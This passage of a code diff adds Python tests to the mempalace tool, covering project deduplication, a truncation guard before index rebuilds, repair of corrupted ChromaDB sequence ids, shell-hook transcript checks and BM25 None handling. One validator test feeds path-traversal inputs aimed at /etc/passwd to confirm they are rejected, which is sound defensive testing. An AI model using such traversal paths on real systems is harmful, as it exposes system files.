assert "realproj" in [e["name"] for e in d["projects"]]
|
||||
assert "Terraform" not in [e["name"] for e in d["projects"]]
|
||||
assert "Terraform" in [e["name"] for e in d["uncertain"]]
|
||||
|
||||
|
||||
def test_discover_entities_collapses_case_variants_between_manifest_and_convo(tmp_path):
|
||||
"""A project named `myproj` in a manifest and `MyProj` as a Claude Code
|
||||
cwd must collapse into one entry. Matches the case-insensitive dedup
|
||||
used by `_merge_detected` and `miner.add_to_known_entities`."""
|
||||
root = tmp_path / "projects_root"
|
||||
root.mkdir()
|
||||
|
||||
# Entry 1: a git+manifest project named lowercase `myproj`
|
||||
repo = root / "-home-u-src-myproj"
|
||||
repo.mkdir()
|
||||
(repo / "package.json").write_text(json.dumps({"name": "myproj"}))
|
||||
_init_git_repo(repo)
|
||||
|
||||
# Entry 2: same root ALSO looks like a Claude Code `.claude/projects/` dir;
|
||||
# the convo_scanner inside will resolve `cwd` to `/home/u/src/MyProj`
|
||||
# (CamelCase variant of the same project).
|
||||
session = repo / "abc.jsonl"
|
||||
session.write_text(json.dumps({"type": "user", "cwd": "/home/u/src/MyProj"}) + "\n")
|
||||
|
||||
d = discover_entities(str(root))
|
||||
|
||||
project_names = [e["name"] for e in d["projects"]]
|
||||
# One entry, not two. First-seen casing ("myproj" from the manifest scan)
|
||||
# is the winner since it was seeded first.
|
||||
assert len(project_names) == 1
|
||||
assert project_names[0].lower() == "myproj"
|
||||
|
||||
|
||||
# ── _UnionFind basics ──────────────────────────────────────────────────
|
||||
|
||||
|
||||
def test_unionfind_find_creates_singleton():
|
||||
uf = _UnionFind()
|
||||
assert uf.find("x") == "x"
|
||||
|
||||
|
||||
def test_unionfind_union_merges():
|
||||
uf = _UnionFind()
|
||||
uf.union("a", "b")
|
||||
assert uf.find("a") == uf.find("b")
|
||||
|
||||
|
||||
def test_unionfind_transitive():
|
||||
uf = _UnionFind()
|
||||
uf.union("a", "b")
|
||||
uf.union("b", "c")
|
||||
assert uf.find("a") == uf.find("c")
|
||||
@@ -1,8 +1,10 @@
|
||||
"""Tests for mempalace.repair — scan, prune, and rebuild HNSW index."""
|
||||
|
||||
import os
|
||||
import sqlite3
|
||||
from unittest.mock import MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
from mempalace import repair
|
||||
|
||||
@@ -254,3 +256,429 @@ def test_rebuild_index_error_reading(mock_backend_cls, mock_shutil, tmp_path):
|
||||
|
||||
repair.rebuild_index(palace_path=str(tmp_path))
|
||||
mock_backend.delete_collection.assert_not_called()
|
||||
|
||||
|
||||
# ── #1208 truncation safety ───────────────────────────────────────────
|
||||
|
||||
|
||||
def test_check_extraction_safety_passes_when_counts_match(tmp_path):
|
||||
"""SQLite reports same count as extracted → no exception."""
|
||||
with patch("mempalace.repair.sqlite_drawer_count", return_value=500):
|
||||
repair.check_extraction_safety(str(tmp_path), 500)
|
||||
|
||||
|
||||
def test_check_extraction_safety_passes_when_sqlite_unreadable_and_under_cap(tmp_path):
|
||||
"""SQLite check fails (None) but extraction is well under the cap → safe."""
|
||||
with patch("mempalace.repair.sqlite_drawer_count", return_value=None):
|
||||
repair.check_extraction_safety(str(tmp_path), 5_000)
|
||||
|
||||
|
||||
def test_check_extraction_safety_aborts_when_sqlite_higher(tmp_path):
|
||||
"""SQLite reports more than extracted — the user-reported #1208 case."""
|
||||
with patch("mempalace.repair.sqlite_drawer_count", return_value=67_580):
|
||||
try:
|
||||
repair.check_extraction_safety(str(tmp_path), 10_000)
|
||||
except repair.TruncationDetected as e:
|
||||
assert e.sqlite_count == 67_580
|
||||
assert e.extracted == 10_000
|
||||
assert "67,580" in e.message
|
||||
assert "10,000" in e.message
|
||||
assert "57,580" in e.message # the loss number
|
||||
else:
|
||||
raise AssertionError("expected TruncationDetected")
|
||||
|
||||
|
||||
def test_check_extraction_safety_aborts_when_unreadable_and_at_cap(tmp_path):
|
||||
"""SQLite unreadable but extraction == default get() cap → suspicious."""
|
||||
with patch("mempalace.repair.sqlite_drawer_count", return_value=None):
|
||||
try:
|
||||
repair.check_extraction_safety(str(tmp_path), repair.CHROMADB_DEFAULT_GET_LIMIT)
|
||||
except repair.TruncationDetected as e:
|
||||
assert e.sqlite_count is None
|
||||
assert e.extracted == repair.CHROMADB_DEFAULT_GET_LIMIT
|
||||
assert "10,000" in e.message
|
||||
else:
|
||||
raise AssertionError("expected TruncationDetected")
|
||||
|
||||
|
||||
def test_check_extraction_safety_override_skips_check(tmp_path):
|
||||
"""``confirm_truncation_ok=True`` short-circuits both signals."""
|
||||
with patch("mempalace.repair.sqlite_drawer_count", return_value=99_999):
|
||||
# Would normally abort — override allows through
|
||||
repair.check_extraction_safety(str(tmp_path), 10_000, confirm_truncation_ok=True)
|
||||
|
||||
|
||||
def test_sqlite_drawer_count_returns_none_on_missing_file(tmp_path):
|
||||
"""Palace dir exists but no chroma.sqlite3 → None, not crash."""
|
||||
assert repair.sqlite_drawer_count(str(tmp_path)) is None
|
||||
|
||||
|
||||
def test_sqlite_drawer_count_returns_none_on_unreadable_schema(tmp_path):
|
||||
"""File exists but isn't a chromadb sqlite → None, not crash."""
|
||||
sqlite_path = os.path.join(str(tmp_path), "chroma.sqlite3")
|
||||
with open(sqlite_path, "wb") as f:
|
||||
f.write(b"not a sqlite file at all")
|
||||
assert repair.sqlite_drawer_count(str(tmp_path)) is None
|
||||
|
||||
|
||||
@patch("mempalace.repair.shutil")
|
||||
@patch("mempalace.repair.ChromaBackend")
|
||||
def test_rebuild_index_aborts_on_truncation_signal(mock_backend_cls, mock_shutil, tmp_path):
|
||||
"""rebuild_index honors the safety guard: SQLite says 67k, get() returns
|
||||
10k → no delete_collection, no upsert, no backup."""
|
||||
mock_backend = MagicMock()
|
||||
mock_col = MagicMock()
|
||||
mock_col.count.return_value = 10_000
|
||||
# Single page comes back with 10_000 ids
|
||||
mock_col.get.side_effect = [
|
||||
{
|
||||
"ids": [f"id{i}" for i in range(10_000)],
|
||||
"documents": ["x"] * 10_000,
|
||||
"metadatas": [{}] * 10_000,
|
||||
},
|
||||
{"ids": [], "documents": [], "metadatas": []},
|
||||
]
|
||||
mock_backend.get_collection.return_value = mock_col
|
||||
mock_backend_cls.return_value = mock_backend
|
||||
|
||||
with patch("mempalace.repair.sqlite_drawer_count", return_value=67_580):
|
||||
repair.rebuild_index(palace_path=str(tmp_path))
|
||||
|
||||
# Guard fired: nothing destructive happened
|
||||
mock_backend.delete_collection.assert_not_called()
|
||||
mock_backend.create_collection.assert_not_called()
|
||||
mock_shutil.copy2.assert_not_called()
|
||||
|
||||
|
||||
@patch("mempalace.repair.shutil")
|
||||
@patch("mempalace.repair.ChromaBackend")
|
||||
def test_rebuild_index_proceeds_with_override(mock_backend_cls, mock_shutil, tmp_path):
|
||||
"""Override flag lets repair proceed even when the guard would fire."""
|
||||
mock_backend = MagicMock()
|
||||
mock_col = MagicMock()
|
||||
mock_col.count.return_value = 10_000
|
||||
mock_col.get.side_effect = [
|
||||
{
|
||||
"ids": [f"id{i}" for i in range(10_000)],
|
||||
"documents": ["x"] * 10_000,
|
||||
"metadatas": [{}] * 10_000,
|
||||
},
|
||||
{"ids": [], "documents": [], "metadatas": []},
|
||||
]
|
||||
mock_new_col = MagicMock()
|
||||
mock_backend.get_collection.return_value = mock_col
|
||||
mock_backend.create_collection.return_value = mock_new_col
|
||||
mock_backend_cls.return_value = mock_backend
|
||||
|
||||
with patch("mempalace.repair.sqlite_drawer_count", return_value=67_580):
|
||||
repair.rebuild_index(palace_path=str(tmp_path), confirm_truncation_ok=True)
|
||||
|
||||
mock_backend.delete_collection.assert_called_once()
|
||||
mock_backend.create_collection.assert_called_once()
|
||||
mock_new_col.upsert.assert_called()
|
||||
|
||||
|
||||
# ── repair_max_seq_id ─────────────────────────────────────────────────
|
||||
|
||||
|
||||
# Realistic poisoned values from the 2026-04-20 incident — from the sysdb-10
|
||||
# b'\x11\x11' + 6 ASCII digit format being misread as big-endian u64.
|
||||
_POISON_VAL = 1_229_822_654_365_970_487
|
||||
|
||||
|
||||
def _seed_poisoned_max_seq_id(
|
||||
palace_path: str,
|
||||
*,
|
||||
drawers_meta_max: int = 502607,
|
||||
closets_meta_max: int = 501418,
|
||||
drawers_vec_poison: int = _POISON_VAL,
|
||||
drawers_meta_poison: int = _POISON_VAL + 1,
|
||||
closets_vec_poison: int = _POISON_VAL + 2,
|
||||
closets_meta_poison: int = _POISON_VAL + 3,
|
||||
):
|
||||
"""Build a minimal palace with poisoned max_seq_id rows.
|
||||
|
||||
Returns a dict with segment UUIDs and the expected clean values.
|
||||
"""
|
||||
os.makedirs(palace_path, exist_ok=True)
|
||||
db_path = os.path.join(palace_path, "chroma.sqlite3")
|
||||
|
||||
drawers_coll = "coll-drawers-0000-1111-2222-333344445555"
|
||||
closets_coll = "coll-closets-0000-1111-2222-333344445555"
|
||||
drawers_vec = "seg-drawers-vec-0000-1111-2222-333344445555"
|
||||
drawers_meta = "seg-drawers-meta-0000-1111-2222-33334444555"
|
||||
closets_vec = "seg-closets-vec-0000-1111-2222-333344445555"
|
||||
closets_meta = "seg-closets-meta-0000-1111-2222-33334444555"
|
||||
|
||||
conn = sqlite3.connect(db_path)
|
||||
conn.executescript(
|
||||
"""
|
||||
CREATE TABLE segments(
|
||||
id TEXT PRIMARY KEY, type TEXT, scope TEXT, collection TEXT
|
||||
);
|
||||
CREATE TABLE max_seq_id(segment_id TEXT PRIMARY KEY, seq_id);
|
||||
CREATE TABLE embeddings(
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
segment_id TEXT,
|
||||
embedding_id TEXT,
|
||||
seq_id
|
||||
);
|
||||
CREATE TABLE embeddings_queue(seq_id INTEGER PRIMARY KEY, topic TEXT, id TEXT);
|
||||
CREATE TABLE collection_metadata(collection_id TEXT, key TEXT, str_value TEXT);
|
||||
"""
|
||||
)
|
||||
conn.executemany(
|
||||
"INSERT INTO segments VALUES (?, ?, ?, ?)",
|
||||
[
|
||||
(drawers_vec, "urn:vector", "VECTOR", drawers_coll),
|
||||
(drawers_meta, "urn:metadata", "METADATA", drawers_coll),
|
||||
(closets_vec, "urn:vector", "VECTOR", closets_coll),
|
||||
(closets_meta, "urn:metadata", "METADATA", closets_coll),
|
||||
],
|
||||
)
|
||||
conn.executemany(
|
||||
"INSERT INTO max_seq_id(segment_id, seq_id) VALUES (?, ?)",
|
||||
[
|
||||
(drawers_vec, drawers_vec_poison),
|
||||
(drawers_meta, drawers_meta_poison),
|
||||
(closets_vec, closets_vec_poison),
|
||||
(closets_meta, closets_meta_poison),
|
||||
],
|
||||
)
|
||||
# Populate embeddings so the collection-MAX heuristic has data to work with.
|
||||
# drawers METADATA owns the max at drawers_meta_max; closets likewise.
|
||||
for i in range(1, drawers_meta_max + 1, max(drawers_meta_max // 5, 1)):
|
||||
conn.execute(
|
||||
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
|
||||
(drawers_meta, f"d-{i}", i),
|
||||
)
|
||||
conn.execute(
|
||||
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
|
||||
(drawers_meta, "d-max", drawers_meta_max),
|
||||
)
|
||||
for i in range(1, closets_meta_max + 1, max(closets_meta_max // 5, 1)):
|
||||
conn.execute(
|
||||
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
|
||||
(closets_meta, f"c-{i}", i),
|
||||
)
|
||||
conn.execute(
|
||||
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
|
||||
(closets_meta, "c-max", closets_meta_max),
|
||||
)
|
||||
conn.commit()
|
||||
conn.close()
|
||||
return {
|
||||
"drawers_vec": drawers_vec,
|
||||
"drawers_meta": drawers_meta,
|
||||
"closets_vec": closets_vec,
|
||||
"closets_meta": closets_meta,
|
||||
"drawers_meta_max": drawers_meta_max,
|
||||
"closets_meta_max": closets_meta_max,
|
||||
"poisoned_values": {
|
||||
drawers_vec: drawers_vec_poison,
|
||||
drawers_meta: drawers_meta_poison,
|
||||
closets_vec: closets_vec_poison,
|
||||
closets_meta: closets_meta_poison,
|
||||
},
|
||||
}
|
||||
|
||||
|
||||
def test_max_seq_id_detects_poison_rows(tmp_path):
|
||||
palace = str(tmp_path / "palace")
|
||||
seg = _seed_poisoned_max_seq_id(palace)
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
|
||||
# Add one clean row to confirm the threshold actually filters.
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
conn.execute(
|
||||
"INSERT INTO segments VALUES ('seg-clean', 'urn:vector', 'VECTOR', 'coll-clean')"
|
||||
)
|
||||
conn.execute("INSERT INTO max_seq_id VALUES ('seg-clean', 1234)")
|
||||
conn.commit()
|
||||
|
||||
found = repair._detect_poisoned_max_seq_ids(db_path)
|
||||
ids = {sid for sid, _ in found}
|
||||
assert ids == {
|
||||
seg["drawers_vec"],
|
||||
seg["drawers_meta"],
|
||||
seg["closets_vec"],
|
||||
seg["closets_meta"],
|
||||
}
|
||||
for sid, val in found:
|
||||
assert val > repair.MAX_SEQ_ID_SANITY_THRESHOLD
|
||||
assert "seg-clean" not in ids
|
||||
|
||||
|
||||
def test_max_seq_id_heuristic_uses_collection_max(tmp_path):
|
||||
palace = str(tmp_path / "palace")
|
||||
seg = _seed_poisoned_max_seq_id(palace)
|
||||
|
||||
result = repair.repair_max_seq_id(palace, dry_run=True)
|
||||
# Both drawers segments (VECTOR + METADATA) get the drawers collection max.
|
||||
assert result["after"][seg["drawers_vec"]] == seg["drawers_meta_max"]
|
||||
assert result["after"][seg["drawers_meta"]] == seg["drawers_meta_max"]
|
||||
# Both closets segments get the closets collection max.
|
||||
assert result["after"][seg["closets_vec"]] == seg["closets_meta_max"]
|
||||
assert result["after"][seg["closets_meta"]] == seg["closets_meta_max"]
|
||||
|
||||
|
||||
def test_max_seq_id_from_sidecar_exact_restore(tmp_path):
|
||||
palace = str(tmp_path / "palace")
|
||||
seg = _seed_poisoned_max_seq_id(palace)
|
||||
|
||||
# Craft a sidecar with known clean values that differ from the heuristic's
|
||||
# collection-max, so we can prove the sidecar path is preferred.
|
||||
sidecar_path = str(tmp_path / "chroma.sqlite3.sidecar")
|
||||
clean = {
|
||||
seg["drawers_vec"]: 499001,
|
||||
seg["drawers_meta"]: 499002,
|
||||
seg["closets_vec"]: 498001,
|
||||
seg["closets_meta"]: 498002,
|
||||
}
|
||||
with sqlite3.connect(sidecar_path) as conn:
|
||||
conn.execute("CREATE TABLE max_seq_id(segment_id TEXT PRIMARY KEY, seq_id INTEGER)")
|
||||
conn.executemany(
|
||||
"INSERT INTO max_seq_id VALUES (?, ?)",
|
||||
list(clean.items()),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
result = repair.repair_max_seq_id(palace, from_sidecar=sidecar_path, assume_yes=True)
|
||||
assert result["segment_repaired"]
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
|
||||
for sid, val in clean.items():
|
||||
assert rows[sid] == val
|
||||
|
||||
|
||||
def test_max_seq_id_dry_run_no_mutation(tmp_path):
|
||||
palace = str(tmp_path / "palace")
|
||||
seg = _seed_poisoned_max_seq_id(palace)
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
before = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
|
||||
|
||||
result = repair.repair_max_seq_id(palace, dry_run=True)
|
||||
assert result["dry_run"] is True
|
||||
assert result["segment_repaired"] == []
|
||||
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
after = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
|
||||
assert before == after
|
||||
# Nothing dropped into the palace dir either (no backup on dry-run).
|
||||
assert not any(fn.startswith("chroma.sqlite3.max-seq-id-backup-") for fn in os.listdir(palace))
|
||||
assert seg["drawers_vec"] in before # sanity
|
||||
|
||||
|
||||
def test_max_seq_id_segment_filter(tmp_path):
|
||||
palace = str(tmp_path / "palace")
|
||||
seg = _seed_poisoned_max_seq_id(palace)
|
||||
|
||||
result = repair.repair_max_seq_id(palace, segment=seg["drawers_meta"], assume_yes=True)
|
||||
assert result["segment_repaired"] == [seg["drawers_meta"]]
|
||||
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
|
||||
# Filtered segment is fixed; the other three remain poisoned.
|
||||
assert rows[seg["drawers_meta"]] == seg["drawers_meta_max"]
|
||||
for other in (seg["drawers_vec"], seg["closets_vec"], seg["closets_meta"]):
|
||||
assert rows[other] > repair.MAX_SEQ_ID_SANITY_THRESHOLD
|
||||
|
||||
|
||||
def test_max_seq_id_heuristic_decodes_blob_embeddings_seq_id(tmp_path):
|
||||
"""`embeddings.seq_id` rows can be BLOB-typed on palaces where chromadb
|
||||
1.5.x has been writing seq_ids natively (8-byte big-endian uint64).
|
||||
`_compute_heuristic_seq_id` must decode those rather than crashing on
|
||||
`int(bytes)` — the recovery feature is meaningless if it can't read
|
||||
the storage format it was designed to repair.
|
||||
"""
|
||||
palace = str(tmp_path / "palace")
|
||||
seg = _seed_poisoned_max_seq_id(palace)
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
|
||||
drawers_meta_max = seg["drawers_meta_max"]
|
||||
blob_max = drawers_meta_max + 7
|
||||
blob_value = blob_max.to_bytes(8, "big")
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
conn.execute(
|
||||
"INSERT INTO embeddings(segment_id, embedding_id, seq_id) VALUES (?, ?, ?)",
|
||||
(seg["drawers_meta"], "d-blob-max", blob_value),
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
result = repair.repair_max_seq_id(palace, dry_run=True)
|
||||
assert result["after"][seg["drawers_vec"]] == blob_max
|
||||
assert result["after"][seg["drawers_meta"]] == blob_max
|
||||
|
||||
|
||||
def test_max_seq_id_no_poison_is_noop(tmp_path):
|
||||
palace = str(tmp_path / "palace")
|
||||
os.makedirs(palace)
|
||||
db_path = os.path.join(palace, "chroma.sqlite3")
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
conn.executescript(
|
||||
"""
|
||||
CREATE TABLE segments(
|
||||
id TEXT PRIMARY KEY, type TEXT, scope TEXT, collection TEXT
|
||||
);
|
||||
CREATE TABLE max_seq_id(segment_id TEXT PRIMARY KEY, seq_id);
|
||||
CREATE TABLE embeddings(
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
segment_id TEXT, embedding_id TEXT, seq_id
|
||||
);
|
||||
INSERT INTO segments VALUES ('s1', 'urn:vector', 'VECTOR', 'coll');
|
||||
INSERT INTO max_seq_id VALUES ('s1', 12345);
|
||||
"""
|
||||
)
|
||||
conn.commit()
|
||||
|
||||
result = repair.repair_max_seq_id(palace, assume_yes=True)
|
||||
assert result["segment_repaired"] == []
|
||||
assert result["backup"] is None
|
||||
with sqlite3.connect(db_path) as conn:
|
||||
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
|
||||
assert rows == {"s1": 12345}
|
||||
|
||||
|
||||
def test_max_seq_id_backup_created(tmp_path):
|
||||
palace = str(tmp_path / "palace")
|
||||
seg = _seed_poisoned_max_seq_id(palace)
|
||||
|
||||
result = repair.repair_max_seq_id(palace, assume_yes=True)
|
||||
assert result["backup"] is not None
|
||||
assert os.path.isfile(result["backup"])
|
||||
|
||||
with sqlite3.connect(result["backup"]) as conn:
|
||||
rows = dict(conn.execute("SELECT segment_id, seq_id FROM max_seq_id").fetchall())
|
||||
# Backup preserves the poisoned values from before the repair.
|
||||
assert rows[seg["drawers_vec"]] == seg["poisoned_values"][seg["drawers_vec"]]
|
||||
assert rows[seg["drawers_meta"]] == seg["poisoned_values"][seg["drawers_meta"]]
|
||||
|
||||
|
||||
def test_max_seq_id_rollback_on_verification_failure(tmp_path, monkeypatch):
|
||||
"""If the post-update detector still sees poison, raise and leave a backup."""
|
||||
palace = str(tmp_path / "palace")
|
||||
_seed_poisoned_max_seq_id(palace)
|
||||
|
||||
real_detect = repair._detect_poisoned_max_seq_ids
|
||||
calls = {"n": 0}
|
||||
|
||||
def flaky_detect(*args, **kwargs):
|
||||
calls["n"] += 1
|
||||
# First call (pre-repair) returns the real set so the repair proceeds.
|
||||
if calls["n"] == 1:
|
||||
return real_detect(*args, **kwargs)
|
||||
# Second call (post-repair verification) claims poison still exists.
|
||||
return [("seg-fake-still-poisoned", repair.MAX_SEQ_ID_SANITY_THRESHOLD + 1)]
|
||||
|
||||
monkeypatch.setattr(repair, "_detect_poisoned_max_seq_ids", flaky_detect)
|
||||
|
||||
with pytest.raises(repair.MaxSeqIdVerificationError):
|
||||
repair.repair_max_seq_id(palace, assume_yes=True)
|
||||
|
||||
# A backup file is still present — caller can roll back from it.
|
||||
leftover = [fn for fn in os.listdir(palace) if "max-seq-id-backup-" in fn]
|
||||
assert leftover
|
||||
|
||||
@@ -9,6 +9,9 @@ Written BEFORE the fix.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
|
||||
import pytest
|
||||
|
||||
|
||||
class TestSaveHookAutoMines:
|
||||
@@ -16,7 +19,8 @@ class TestSaveHookAutoMines:
|
||||
|
||||
def test_hook_mines_transcript_path(self):
|
||||
"""The hook receives TRANSCRIPT_PATH from Claude Code.
|
||||
It should use that to mine the conversation, not depend on MEMPAL_DIR."""
|
||||
It should use that to mine the conversation as --mode convos,
|
||||
independently of MEMPAL_DIR (which is for project files only)."""
|
||||
hook_path = os.path.join(
|
||||
os.path.dirname(os.path.dirname(__file__)),
|
||||
"hooks",
|
||||
@@ -24,23 +28,17 @@ class TestSaveHookAutoMines:
|
||||
)
|
||||
src = open(hook_path).read()
|
||||
|
||||
# The hook ALREADY receives TRANSCRIPT_PATH in the JSON input.
|
||||
# It should use this to mine the current session's transcript
|
||||
# regardless of whether MEMPAL_DIR is set.
|
||||
# The hook must have a path that uses TRANSCRIPT_PATH to determine
|
||||
# what to mine, separate from the MEMPAL_DIR path.
|
||||
uses_transcript = "TRANSCRIPT_PATH" in src
|
||||
has_mine = "mempalace mine" in src
|
||||
# TRANSCRIPT_PATH must appear in the mining logic, not just the parse block
|
||||
transcript_drives_mine = "MINE_DIR" in src and "dirname" in src and "TRANSCRIPT_PATH" in src
|
||||
|
||||
assert uses_transcript and has_mine and transcript_drives_mine, (
|
||||
"Save hook only mines when MEMPAL_DIR is set (defaults to empty). "
|
||||
"The hook receives TRANSCRIPT_PATH from Claude Code — it should "
|
||||
"mine that file automatically so conversations are saved without "
|
||||
"the user setting an env var. Currently the hook says 'saved in "
|
||||
"background' but nothing actually saves."
|
||||
)
|
||||
# The hook must drive the conversation mine off TRANSCRIPT_PATH,
|
||||
# using `dirname` to derive the parent dir, and tagging it with
|
||||
# `--mode convos` so the convo miner runs (not the projects miner).
|
||||
assert "TRANSCRIPT_PATH" in src, "hook must read transcript_path"
|
||||
assert "mempalace mine" in src, "hook must invoke `mempalace mine`"
|
||||
assert (
|
||||
'dirname "$TRANSCRIPT_PATH"' in src
|
||||
), "hook must mine the transcript's parent directory"
|
||||
assert (
|
||||
"--mode convos" in src
|
||||
), "transcript mine must use --mode convos, not the projects miner"
|
||||
|
||||
def test_mempal_dir_default_not_empty(self):
|
||||
"""If MEMPAL_DIR is still used, it should have a sensible default,
|
||||
@@ -66,3 +64,69 @@ class TestSaveHookAutoMines:
|
||||
'MEMPAL_DIR defaults to "" which silently disables mining. '
|
||||
"Either set a default path or add transcript-based mining."
|
||||
)
|
||||
|
||||
|
||||
class TestShellHookTranscriptValidation:
|
||||
"""Both shell hooks must validate transcript paths before mining them.
|
||||
|
||||
Mirrors mempalace.hooks_cli._validate_transcript_path so unsafe paths
|
||||
(no extension, traversal segments) are rejected at the shell layer
|
||||
too — added in #1231 review (Copilot #7, #8).
|
||||
"""
|
||||
|
||||
@staticmethod
|
||||
def _hook_src(name: str) -> str:
|
||||
path = os.path.join(os.path.dirname(os.path.dirname(__file__)), "hooks", name)
|
||||
return open(path).read()
|
||||
|
||||
@staticmethod
|
||||
def _strip_comments(src: str) -> str:
|
||||
return "\n".join(line for line in src.splitlines() if not line.lstrip().startswith("#"))
|
||||
|
||||
def test_save_hook_defines_and_uses_validator(self):
|
||||
src = self._strip_comments(self._hook_src("mempal_save_hook.sh"))
|
||||
assert "is_valid_transcript_path() {" in src, "validator function must be defined"
|
||||
assert (
|
||||
'is_valid_transcript_path "$TRANSCRIPT_PATH"' in src
|
||||
), "validator must be invoked against TRANSCRIPT_PATH before mining"
|
||||
|
||||
def test_precompact_hook_defines_and_uses_validator(self):
|
||||
src = self._strip_comments(self._hook_src("mempal_precompact_hook.sh"))
|
||||
assert "is_valid_transcript_path() {" in src, "validator function must be defined"
|
||||
assert (
|
||||
'is_valid_transcript_path "$TRANSCRIPT_PATH"' in src
|
||||
), "validator must be invoked against TRANSCRIPT_PATH before mining"
|
||||
|
||||
@pytest.mark.skipif(
|
||||
sys.platform == "win32",
|
||||
reason="shell hooks are POSIX-only; Windows CI bash maps to wsl.exe with no distro",
|
||||
)
|
||||
def test_validators_run_via_bash(self, tmp_path):
|
||||
"""Source the validator out of each hook and exercise it directly."""
|
||||
import subprocess
|
||||
|
||||
for name in ("mempal_save_hook.sh", "mempal_precompact_hook.sh"):
|
||||
src = self._hook_src(name)
|
||||
# Extract just the function definition (first occurrence).
|
||||
start = src.index("is_valid_transcript_path() {")
|
||||
end = src.index("\n}\n", start) + 2
|
||||
func_src = src[start:end]
|
||||
script = tmp_path / "v.sh"
|
||||
script.write_text(
|
||||
f"{func_src}\n" 'is_valid_transcript_path "$1" && echo OK || echo NO\n'
|
||||
)
|
||||
|
||||
def run(arg: str) -> str:
|
||||
return subprocess.run(
|
||||
["bash", str(script), arg],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=False,
|
||||
).stdout.strip()
|
||||
|
||||
assert run("/tmp/sessions/abc.jsonl") == "OK"
|
||||
assert run("/tmp/sessions/abc.json") == "OK"
|
||||
assert run("") == "NO"
|
||||
assert run("/tmp/notes.txt") == "NO"
|
||||
assert run("../etc/passwd.jsonl") == "NO"
|
||||
assert run("/tmp/../etc/t.jsonl") == "NO"
|
||||
|
||||
@@ -121,6 +121,44 @@ class TestSearchMemories:
|
||||
assert none_hit["room"] == "unknown"
|
||||
|
||||
|
||||
# ── BM25 internals: None / empty document safety ─────────────────────
|
||||
|
||||
|
||||
class TestBM25NoneSafety:
|
||||
"""Regression tests for the AttributeError observed in production when
|
||||
Chroma returned ``None`` documents inside a hybrid-rerank pass.
|
||||
|
||||
Trace from the daemon log (2026-04-24 21:07:05):
|
||||
File "mempalace/searcher.py", line 81, in _bm25_scores
|
||||
tokenized = [_tokenize(d) for d in documents]
|
||||
File "mempalace/searcher.py", line 52, in _tokenize
|
||||
return _TOKEN_RE.findall(text.lower())
|
||||
AttributeError: 'NoneType' object has no attribute 'lower'
|
||||
"""
|
||||
|
||||
def test_tokenize_handles_none(self):
|
||||
from mempalace.searcher import _tokenize
|
||||
|
||||
assert _tokenize(None) == []
|
||||
|
||||
def test_tokenize_handles_empty_string(self):
|
||||
from mempalace.searcher import _tokenize
|
||||
|
||||
assert _tokenize("") == []
|
||||
|
||||
def test_bm25_scores_does_not_crash_on_none_documents(self):
|
||||
"""A ``None`` mixed into the corpus must yield score 0.0 for that doc
|
||||
and finite scores for the rest, not raise AttributeError."""
|
||||
from mempalace.searcher import _bm25_scores
|
||||
|
||||
scores = _bm25_scores(
|
||||
"postgres migration", ["postgres migration done", None, "kafka rebalance"]
|
||||
)
|
||||
assert len(scores) == 3
|
||||
assert scores[1] == 0.0
|
||||
assert scores[0] > 0.0
|
||||
|
||||
|
||||
# ── search() (CLI print function) ─────────────────────────────────────
|
||||
|
||||
|
||||
@@ -173,6 +211,85 @@ class TestSearchCLI:
|
||||
# Should have output with at least one result block
|
||||
assert "[1]" in captured.out
|
||||
|
||||
def test_search_applies_bm25_hybrid_rerank(self, capsys):
|
||||
"""CLI search must call the same hybrid rerank that the MCP path uses.
|
||||
|
||||
Regression for a bug where the CLI only consulted ChromaDB cosine
|
||||
distance: a drawer whose body contained every query term still
|
||||
scored zero similarity if its embedding happened to be far from
|
||||
the query (e.g. the drawer was a shell-output fragment that
|
||||
embeds as "file tree noise"). Hybrid rerank fixes this by
|
||||
combining BM25 with cosine — lexical matches rise above pure
|
||||
vector noise.
|
||||
|
||||
Simulates: three candidates, all with distance >= 1.0 (cosine = 0);
|
||||
candidate 2 contains every query term. After the fix, candidate 2
|
||||
should rank first and display a non-zero bm25 score.
|
||||
"""
|
||||
mock_col = MagicMock()
|
||||
mock_col.metadata = {"hnsw:space": "cosine"}
|
||||
mock_col.query.return_value = {
|
||||
"documents": [
|
||||
[
|
||||
"unrelated directory listing -rw-rw-r-- file.txt",
|
||||
"foo bar baz is a multi-word phrase",
|
||||
"another unrelated chunk about colors",
|
||||
]
|
||||
],
|
||||
"metadatas": [
|
||||
[
|
||||
{"source_file": "a.md", "wing": "w", "room": "r"},
|
||||
{"source_file": "b.md", "wing": "w", "room": "r"},
|
||||
{"source_file": "c.md", "wing": "w", "room": "r"},
|
||||
]
|
||||
],
|
||||
"distances": [[1.5, 1.5, 1.5]],
|
||||
}
|
||||
with patch("mempalace.searcher.get_collection", return_value=mock_col):
|
||||
search("foo bar baz", "/fake/path")
|
||||
captured = capsys.readouterr()
|
||||
